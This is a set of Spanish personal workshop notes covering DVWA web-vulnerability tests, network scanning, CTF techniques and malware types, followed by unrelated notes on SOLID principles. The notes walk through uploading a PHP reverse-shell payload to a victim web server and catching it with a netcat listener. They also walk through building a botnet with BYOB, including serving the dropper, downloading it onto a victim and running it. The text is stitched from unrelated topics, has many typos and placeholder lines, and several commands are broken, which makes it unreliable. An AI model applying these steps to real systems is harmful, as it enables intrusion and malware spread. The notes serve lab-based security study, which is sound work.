burpsuite
Aplicación web para probar vulnerabilidades típicas:
* https://github.com/digininja/DVWA
Pruebas hechas en el taller con DVWA:
* SQL injection
* File inclusion
* XSS (Cross-Site scripting)
* reflejado (se ejecuta en la parte de cliente)
* Almacenado (el código malicioso queda en el servidor)
UPDATE wp_options SET option_value = REPLACE (option_value, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
UPDATE wp_posts SET guid = REPLACE (guid, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
UPDATE wp_posts SET post_content = REPLACE (post_content, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
UPDATE wp_postmeta SET meta_value = REPLACE (meta_value, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
===== IoT =====
* Dispositivos diversos que no tienen por qué tener integración de redes o capacidad computacional, pero que adicionalmente la integran (dispositivos bluetooth, bombillas, termostatos)
Mecanismos de defensa:
* **Firewall**: sistemas de restricción de tráfico basado en reglas.
* **Sistemas IDS/IPS**: sistemsa de monitorización, detección y/o prevención de accesos no permitidos en una red.
* **Honeypot**: equipos aparentemente vulnerables diseñados para atraer y detectar a los atacantes, protegiendo los sistemas realmente críticos.
* **SIEM**: sistemas de correlación de eventos y generación de alertas de seguridad.
* **Antimalware**: sistemas de detección de malware informático.
==== Tipos de redes según tamaño ====
* LAN
* MAN: como en las universidades
* WAN: Internet
==== Otra tipología de redes ====
* Públicas
* Privadas
==== TCP 3-way handshake ====
Forma de establecer la comunicación en TCP.
* Cliente envía SYN
* Servidor responde con SYN+ACK
* Cliente envía ACK
Si un puerto está **abierto**:
- SYN
- SYN/ACK
- RST/ACK
Si está **cerrado**
* SYN
* RST
Si está **filtrado**:
* SYN (aquí lo detiene un firewall)
==== Fases de un ciberataque ====
* Reconocimiento
* Sorteo de obstáculos
* Control del dispositivo
* Avance horizontal:
* Cumplimiento del objetivo
* Post-explotación y ataque
Ciclo de vida de un ataque a un sistema:
- Identificacion del objetivo
- Análisis de puertos y servicios
- Análisis de vulnerabilidades
- Explotación de vulnerabilidades.
- Post-explotación del sistema
=== Reconocimiento ===
* Documentación del fabricante
* Foros de usuarios
* Buscador centrado en IoT: https://www.shodan.io (es de pago)
https://www.osi.es/es/sertvicio-antibotnet
==== Ejemplo acceder a máquina Linux vía SSH ====
* Puerto 22
* Si el servicio está activo podremos detectarlo utilizando ''nmap''
* Invocamos SSH: ''ssh usuario@ip-maquina''
==== Bases de datos vulnerabilidades ====
Son bases de datos públicas:
* Common Vulnerabilities and Exposures (CVE): https://cve.mitre.org/
* National Vulnerability Database (NVD): https://nvd.nist.gov/
===== Capture the flag =====
CTF (capturar la bandera) son un tipo de competiciones de seguridad informática que generalmente se realizan de forma online, orientadas tanto para aprendices como para expertos en seguridad. El objetivo final es vulnerar el sistema normalmente capturando una flag o bandera que suele consistir en obtener un hash dentro de un fichero de texto: ''flag{asdfy788a6fa54s67dfasdf45656}''
Finalidad:
* Trabajar en equipo
* Ganar habilidades
* Reconocimiento
* Dinero
* Diversión
Categorías y habilidades de un CTF:
* **Análisis forense** (forensics): análisis de capturas de red, discos duros o imágenes.
* **Criptografía** (crypto): textos cifrados.
* **Esteganorgrafía** (STEGo): ocultar información en el interior de imágenes, sonidos o vídeos.
* **Explotación**: escaneo y enumeración de vulnerabilidades en un sistema
* **Ingeniería inversa** (reversing): análisis del funcionamiento de binarios de Windows y Linux.
* **Programación** (PPC): conocido como //Professional Programming and Coding//. Desarrollo de un programa o script que realice una determinada tarea.
* **Web**: escaneo y enumeración de vulnerabilidades de una aplicación web.
* **Reconocimiento** (recon): búsqueda de la bandera en distintos sitios de Internet.
* **Trivial** (trivia): preguntas relacionadas con la seguridad informática.
* **Misceláneo** (misc): retos pertenecientes a diferentes categorías.
Entrenamientos:
* [[https://www.hackthebox.eu/|Hack the Box]]
* [[https://tryhackme.com/|TryHackMe]]
* [[https://portswigger.net/|PortSwigger]]
* [[https://www.vulnhub.com/Vulnerable by Design]]
* [[https://www.youtube.com/channel/UCjNHFaBm_0-Mo749MB3A9cQ|Víctor García]]: canal de YouTube resolviendo Hack the Box y TryHackMe
==== Herramientas y técnicas ====
* Reconocimiento de la red mediante ifconfig y Nmap
* Escaneo de puertos mediante Nmap
* Enumeración manual y automatizada de directorios/ficheros
* Revisión de código fuente de páginas web mediante curl
* Definiciación y configuración de payloads
* Listeners
* Obtención de una //reverse shell//
* Uso de grep y find para búsquedas de ficheros/directorios
=== Reconocimiento de la red ===
Averiguamos la información de la red a la que estamos conectados:
ifconfig
Si no está disponble ese comando, entonces se puede usar:
ip a
Hacemos un escaneo rápido de la red:
nmap -sn 192.168.0.0/24
Con un objetivo, hacemos un escaneo de puertos para obtener más información sobre posibles servicios que haya tras ellos:
nmap -sV 192.168.0.70
=== Escaneo de puertos ===
* Escaneo de puertos básico: ''nmap -v ''
* Escaneo de un rango de IPs: ''nmap -''
* Escanear rango de puertos:
* ''nmap -p numeropuerto¡''
* ''nmap -p puertoinicio-puertofin''
* Escanear todos los puertos: ''nmap -p -localhost''
* ''nmap -sS ''
* ''nmap -sT ''
* Obtener el sistema operativo: ''nmap -O ''
* ''nmap -A ''
* ''nmap -sV ''
* ''nmap ip/máscara''
=== Enumeración de directorios y ficheros mediante DIRB ===
**DIRB** es una aplicación creada para realizar fuerza bruta contra directorios y archivos localizados en un servidor web/aplicación. Se puede seleccionar un diccionario de nombres de directorios comunes para la búsqueda de archivos y directorios existentes u ocultos
dirb []
En Kali viene por defecto un diccionario de directorios comunes: ''/usr/share/worldlists/dirb/common.txt'':
dirb http://192.168.0.70 /usr/share/worldlists/dirb/common.txt
En ese momento, dirb usará las palabras en el diccionario para intentar encontrar algún directorio accesible de la web que le pasamos.
Una alternativa a esta herramienta es Gobuster.
=== Enumeración manual de ficheros ===
* ''Sitemap.xml'': fichero que proporciona información sobre páginas, vídeos y otros archivos de un sitio web.
* ''robots.txt'': proporciona información a los rastreadores y buscadores sobre las páginas y los archivos que se pueden solicitar o no de su sitio web
=== Revisión de código fuente de páginas web mediante curl ===
Además de ver el código fuente desde el propio navegador, se puede usar la herramienta de línea de comandos ''curl'':
curl http://192.168.0.70
Descarga del contenido en un fichero:
curl -O fichero.html http://192.168.0.70/index.html
=== Definición y configuración de payloads ===
Un **payload** es un código malicioso que ha sido introducido en un programa o fichero legítimo para que cuando un usuario lo ejecute, se pueda obtener el control de la máquina. Para ello, será necesario subir un payload a la máquina objetivo o atacada, y quedarse escuchando en el puerto asociado al payload desde la máquina atacante.
Kali contiene una lista de payloads disponibles por defecto: ''/usr/share/webshells''.
En la práctica configuramos ''/usr/share/webshells/php/php-reverse-shell.php'' y lo subimos al servidor víctima (ver **obtención de shell reverse**).
En los payloads normalmente hay que configurar la dirección IP de la máquina atacante y un puerto TCP de ella.
=== Definición y uso de listeners ===
Un listener es un proceso el cual está a la escucha o espera de una conexión desde la máquina que estamos atacando.
nc -nlvp 4444
* ''n'':
* ''l'': modo escucha
* ''v'': modo //verbose//
* ''p'': puerto por el que se va a escuchar el listener
=== Obtención de una reverse shell ===
Un **shell** es el término que se le da a la obtención de una consola (Linux o Windows) en un ordenador remoto. Es uno de los principales objetivos para un atancante. El atancante obtiene una conexión directa al entorno de red.
**Reverse shell**: mientras que un firewall no permite conexiones entrantes no autorizadas, normalmente la red interna es clasificada como confiable y esto significa que permite las conexiones desde dentro hacia afuera de una manera menos estricta o más permisiva con este tipo de conexiones. La posibilidad de subir un payload a la máquina atacada puede otorgarnos una shell reversa.
En el momento en que ejecutemos (accediendo al payload a través del navegador web a la dirección de la víctima) el payload en la máquina víctima con el payload de shell inversa, en netcat veremos que estamos dentro del servidor víctima.
Es decir, para ejecutar la shell inversa, tendríamos que acceder a http://192.168.0.70/uploaded_files/php-reverse-shell.php, donde 192.168.0.70 es la IP víctima y ''php-reverse-shell.php'' es un fichero que hemos subido que nos creará una shell inversa.
=== Uso de grep y find para búsquedas de ficheros/directorios ===
grep -ir prueba / -- exclude-dir=/etc
* ''e'': patrón
* ''r'': leer todos los
* ''i'': ignorar mayúsculas y minúsculas
Se busca ''prueba'' en todos los ficheros del sistema, excluyendo los que están dentro del directorio ''/etc''
**find** es un comando utilizado en sistemas Unix para encontrar y filtrar archivos en Linux:
find
===== Mi ordenador es un zombie =====
Filtraciones de contraseñas:
* https://haveibeenpwned.com/
* https://leakpeek.com/
Avisos de vulnerabilidades de 0-day:
* https://zerodium.com/: intermediario que paga recompensas por encontrar vulnerabilidades de 0-day.
==== Ciclo de vida de una botnet ====
==== Virus ====
El virtus es ui tipo específico de malware. Es común llamar "virus" al ¡malware, pero en realidad es solo uun subconjkunt
Su nombre viene por su parecido a los virus reales (infección y propagaci´ñon). Para su propagación necesitanb que cierta interacción por parte del usuario
* Infacta otros programas
* Capacidad de mutación
* Capacidad de cifrado
* Altera datos
* Corrompe ficheros
* Auto-propatación
==== Gusanos ====
Los gusanos, habitaulmetnte lamados worms, son programas maliciosos que se porpagan por la red de forma automática. Se transmiten explotante vunerabilidaes de los sistemas sin que el usuario tenga que interactuar con ellos de ninguna manera. Este tipo de malware es habitaual en teléfonos,. ya quye este tipo de dispositivo conectado es idóneo para una porpagación r´´ñaiuda
Un gusano muy famoso, Stuxnet, es un malware supuestamente desarrollado por Israel y Estados unidos diseñado para infectar infraestructuras críticas que infecxtó a 60.000 equipos en irán.
Otro ejemplo es el virus "I love you" que se propagaba por e-mail e iba borrando y sobrescribiendo ficheros en sus víctimas.
==== Troyanos ====
Un troyano o caballo de Troya es un programa malicioso (mnalware) que se presenta al usuario como un programa aparentemente inofesnivo. El término proviene de la Odisea de Homero.
==== Botnet ====
Una botnet es una red de ordenadores infecdtados controlados por un ciberledincuente.
Los ordenadores infectados obedecerán a las órdenes del ciberdelincuente, de forma que éste dispone de un "ejército" de ordenadores listso para realizar operaciones maliciosas en >Internet en cualquier mopmento.
Ciclo de vida:
- Infección__:: el atacante infecta ordenadores personales opr medio de troyanos
- asdfadf
- Una tercera parte malintencionada compra acceso a la botnet para realizaar acciones maliciosas (ddos, spam ,fraude de clicks...)
- Se lanza el ataque distrubuido.
Ejemplo de botnet:
* Carna botnet. Fue una red de 420.000 dispositivos infectados.
* ZeroAccess botnet: especializada en minería de bitcoin.
https://www.incibe.es/protege-tu-empresa/herramientas/servicio-antibotnet
==== Construyendo una botnet ====
Utilizaremos [[https://github.com/malwaredllc/byob|byob]]
En el servidor (el atacante):
python3 client.py --name mibot.py
Se generarán varios ficheros, pero el que más nos interesa es ''modules/clients/droppers/mibot.py''. Este fichero es el que hay que distribuir a las víctimas para que lo ejecutase.
Servidor web básico en Python:
python3 -m http.server 8080
Como estamos de prueba, en la víctima nos descargamos el fichero malicioso:
curl http://192.168.0.20:8080/mibot.py -o mibot.py
Lanzamos el servidor que va a escuchar a la víctima:
python3 server.py --port
En la víctima ejecutamos el malware:
python3 mibot.py
En el servidor veremos que se ha establecido una conexión:
{{ :informatica:seguridad_informatica:byob-server.png?nolink |}}
* ''sessions'': bots activos
* ''help'': opciones del panel de control
===== Uncle Bob SOLID principles =====
Las bases de la programación orientada a objetos son:
* Encapsulación
* Herencia
* Polimorfismo
La programación orientada a objetos va sobre la gestión de dependencias en el código para que se pueda prevenir:
* Rigidez
* Fragilidad
* No reutilización
Principios **SOLID**, principios de diseño de clases:
* **S**RP: Single Responsibility Principle.
* **O**CP: The Open/Closed Principle.
* **L**SP: The Liskov Substitution Principle.
* **I**SP: The Interface Segregation Principle.
* **D**IP: The Dependency Inversion Principle.
Los principios de diseño **SOLID** son principios, no reglas. Es mejor usar el sentido común cuando se aplica SOLID. **SOLID** es una herramienta, no el objetivo.
==== Single Responsibility Principle ====
Una clase debería tener una y solo una única razón para cambiar.
La palabra **responsabilidad** no quiere decir función o lo que hace la clase. La palabra **responsabilidad** se refiere al cambio.
Si una clase tiene más de un motivo para cambiar, estaría violando este principio.
En resumen, no pongas funciones que cambian por diferentes razones en la misma clase.
==== Open/Closed Principle ====
Los módulos deberían estar abiertos a la extensión, pero cerrados a la modificación.
Esto quiere decir que deberías poder modificar lo que hace un módulo sin cambiar el módulo. Cambiar el comportamiento del módulo, sin cambiar el módulo.
Extiende la funcionalidad añadiendo nuevo código en lugar de cambiar el exsitente.
Separa comportamientos para que el sistema pueda ser fácilmente extensible, pero no pueda romperse.
El objetivo es llegar a un punto donde nunca podrás romper el núcleo (//core//) de tu sistema.
==== Liskov Substitution Principle ====
Las clases derivadas deben ser usables a través de la interfaz de base sin necesidad de que el usuario sepa la diferencia.
==== The Interface Segregation Principle ====
Ningún cliente debería ser forzado a depender de métodos que no usa.
Cambiar un método en una clase no debería afectar a clases que no dependen de él.
Reemplazar interfaces demasiado populadas por varias pequeñas, pero específicas interfaces.
==== The Dependency Inversion Principle ====
Los módulos de alto nivel no deberían depender de módulos de bajo nivel. Ambos deberían depender de abstracciones.
Nunca dependas de algo concreto, solo de las abstracciones.
Hay que ser capaz de modificar una implementación fácilmente sin alterar el código de alto nivel.